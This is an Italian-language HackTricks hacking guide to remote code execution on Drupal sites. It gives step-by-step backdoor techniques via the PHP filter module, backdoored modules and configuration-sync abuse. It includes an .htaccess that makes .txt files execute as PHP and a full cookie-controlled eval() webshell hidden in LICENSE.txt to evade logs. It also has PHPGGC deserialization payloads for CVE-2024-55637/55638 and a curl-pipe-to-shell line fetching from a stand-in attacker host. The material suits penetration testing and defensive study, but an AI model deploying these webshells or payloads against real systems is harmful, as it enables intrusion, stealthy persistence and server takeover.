Drupal RCE

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Con PHP Filter Module

Warning

Nelle versioni più vecchie di Drupal (prima della versione 8), era possibile effettuare il login come admin e abilitare il PHP filter module, che “Permette l’esecuzione di frammenti di codice PHP incorporati.” Ma dalla versione 8 questo modulo non è installato di default.

  1. Vai su /modules/php e se viene restituito un errore 403 allora il PHP filter plugin è installato e puoi continuare
  2. Se no, vai su Modules, seleziona la casella di PHP Filter e poi clicca su Save configuration
  3. Poi, per sfruttarlo, clicca su Add content, poi seleziona Basic Page o Article e scrivi la PHP backdoor, quindi seleziona il formato testo PHP e infine clicca su Preview
  4. Per attivare la backdoor, accedi al node appena creato:
curl http://drupal.local/node/3

Installare il modulo PHP Filter

Warning

Nelle versioni attuali non è più possibile installare plugin avendo accesso solo via web dopo l’installazione di default.

Dalla versione 8 in poi, il PHP Filter modulo non è installato di default. Per sfruttare questa funzionalità dovremmo installare il modulo noi stessi.

  1. Scarica la versione più recente del modulo dal sito di Drupal.
  2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
  3. Una volta scaricato, vai su Administration > Reports > Available updates.
  4. Clicca su Browse, seleziona il file dalla directory in cui l’abbiamo scaricato e poi clicca su Install.
  5. Una volta installato il modulo, possiamo cliccare su Content e creare una nuova pagina di base, simile a quanto fatto nell’esempio di Drupal 7. Assicurati nuovamente di selezionare PHP code dal menu a tendina Text format.

Modulo con backdoor

Warning

Nelle versioni attuali non è più possibile installare plugin avendo accesso solo via web dopo l’installazione di default.

Era possibile scaricare un modulo, aggiungergli una backdoor e installarlo. Ad esempio, scaricando il modulo compresso Trurnstile, creando al suo interno un nuovo file PHP con backdoor e permettendo l’accesso al file PHP tramite un file .htaccess:

<IfModule mod_rewrite.c> RewriteEngine On RewriteBase / </IfModule>

E poi andare su http://drupal.local/admin/modules/install per installare il modulo backdoored e accedere a /modules/turnstile/back.php per eseguirlo.

Backdooring Drupal with Configuration synchronization

Post condiviso da Coiffeur0x90

Parte 1 (attivazione di Media e Media Library)

Nel menu Extend (/admin/modules) puoi attivare quelli che sembrano essere plugin già installati. Per impostazione predefinita, i plugin Media e Media Library non sembrano essere attivati, quindi attiviamoli.

Prima dell’attivazione:

Dopo l’attivazione:

Parte 2 (sfruttando la funzionalità Configuration synchronization)

Sfrutteremo la funzionalità Configuration synchronization per esportare (dump) e caricare (import) le voci di configurazione di Drupal:

  • /admin/config/development/configuration/single/export
  • /admin/config/development/configuration/single/import

Patch system.file.yml

Cominciamo applicando una patch alla prima voce allow_insecure_uploads da:

File: system.file.yml


...

allow_insecure_uploads: false

...

A:

File: system.file.yml


...

allow_insecure_uploads: true

...

Applica la patch a field.field.media.document.field_media_document.yml

Poi, modifica la seconda voce file_extensions da:

File: field.field.media.document.field_media_document.yml


...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

A:

File: field.field.media.document.field_media_document.yml

...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

Non lo uso in questo post del blog ma è segnalato che è possibile definire arbitrariamente la voce file_directory e che è vulnerabile a un path traversal attack (quindi possiamo risalire nell’albero del filesystem di Drupal).

Part 3 (leveraging feature Add Document)

L’ultimo passo è il più semplice e si divide in due sotto-passaggi. Il primo consiste nel caricare un file in formato .htaccess per sfruttare le direttive Apache e permettere che i file .txt vengano interpretati dal motore PHP. Il secondo è caricare un file .txt contenente il nostro payload.

File: .htaccess

<Files *>
SetHandler application/x-httpd-php
</Files>

# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>

Perché questo trucco è interessante?

Perché una volta che la Webshell (che chiameremo LICENSE.txt ) viene posata sul Web server, possiamo trasmettere i nostri comandi tramite $_COOKIE e nei log del Web server questo apparirà come una richiesta GET legittima a un file di testo.

Perché chiamare la nostra Webshell LICENSE.txt?

Semplicemente perché se prendiamo il seguente file, per esempio core/LICENSE.txt (che è già presente nel Drupal core), abbiamo un file di 339 righe e 17.6 KB di dimensione, il che è perfetto per aggiungere un piccolo snippet di codice PHP al suo interno (dato che il file è abbastanza grande).

File: Patched LICENSE.txt


...

this License, you may choose any version ever published by the Free Software
Foundation.

<?php

# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}

?>

10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author

...

Parte 3.1 (upload file .htaccess)

First, we leverage the Add Document (/media/add/document) feature to upload our file containing the Apache directives (.htaccess).

Parte 3.2 (upload file LICENSE.txt)

Then, we leverage the Add Document (/media/add/document) feature again to upload a Webshell hidden within a license file.

Parte 4 (interaction with the Webshell)

L’ultima parte consiste nell’interagire con la Webshell.

Come mostrato nello screenshot seguente, se il cookie atteso dalla nostra Webshell non è definito, otteniamo il risultato seguente quando si consulta il file tramite un browser.

Quando l’attaccante imposta il cookie, può interagire con la Webshell ed eseguire qualsiasi comando desideri.

E come si può vedere nei log, sembra che sia stato richiesto solo un file .txt.

Thank you for taking the time to read this article, I hope it will help you get some shells.

Drupal core gadget chain (SA-CORE-2024-007 / SA-CORE-2024-008)

Two advisories published 20 Nov 2024 (CVE-2024-55637 & CVE-2024-55638) describe new PHP object gadget chains in Drupal core (7.0–7.101, 8.x, 10.2.0–10.2.10, 10.3.0–10.3.8, early 11.x). They are not directly exploitable but give attackers a ready-made chain once any contrib/module performs unserialize() on user input.

Practical exploitation workflow:

  1. Find the unserialize sink (contrib module or custom code). Grep codebase for unserialize( or Drupal\Component\Serialization\PhpSerialize::decode. Target endpoints that accept POST/JSON or configuration imports.
  2. Generate a payload using the vulnerable class path that matches the gadget chain. After SA-CORE-2024-008, the public chain was added to common payload generators. Example with PHPGGC (commit ≥ Dec 2024):
./phpggc drupal/rce2 system 'id' > payload.ser
  1. Deliver the serialized blob al sink (es. parametro che viene deserialized). Per un form-encoded body:
curl -X POST https://target/admin/config/some/module \
-d "serialized_setting=$(cat payload.ser)"
  1. Innescare la distruzione (spesso eseguito automaticamente alla fine della richiesta) ed eseguire il comando.

Note per i test:

  • Gadget funziona solo su versioni precedenti a 10.2.11 / 10.3.9 / 7.102 (patchate). Verificare la versione target tramite /core/lib/Drupal.php o CHANGELOG.txt.
  • I driver DB di terze parti potrebbero necessitare di ulteriore hardening; cercare deployment che hanno saltato la finestra di aggiornamento della sicurezza.

Recenti contrib-module unsafe deserialization → RCE

Diverse contrib module hanno corretto percorsi unserialize() insicuri nella parte finale del 2024. Se il sito manca di questi aggiornamenti, essi forniscono lo sink sfruttabile richiesto dalla core gadget chain:

  • Mailjet (<4.0.1, CVE-2024-13296): dati controllati dall’amministratore passati a unserialize(), permettendo PHP Object Injection → RCE quando concatenati con i core gadgets.
  • Eloqua (7.x-1.x < 1.15, CVE-2024-13297): analogo uso insicuro di unserialize() raggiungibile da utenti con access administration pages.

Idea per i test (autenticato):

phpggc drupal/rce2 system 'bash -c "curl http://attacker/shell.sh|sh"' > p.ser
curl -b session=ADMINCOOKIE \
-F "import=@p.ser" https://target/admin/config/eloqua/import

Se il modulo deserializza i dati caricati, la gadget chain genera RCE. Combina con XSS/CSRF per rubare admin cookies e ottenere una catena d’attacco completa.

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks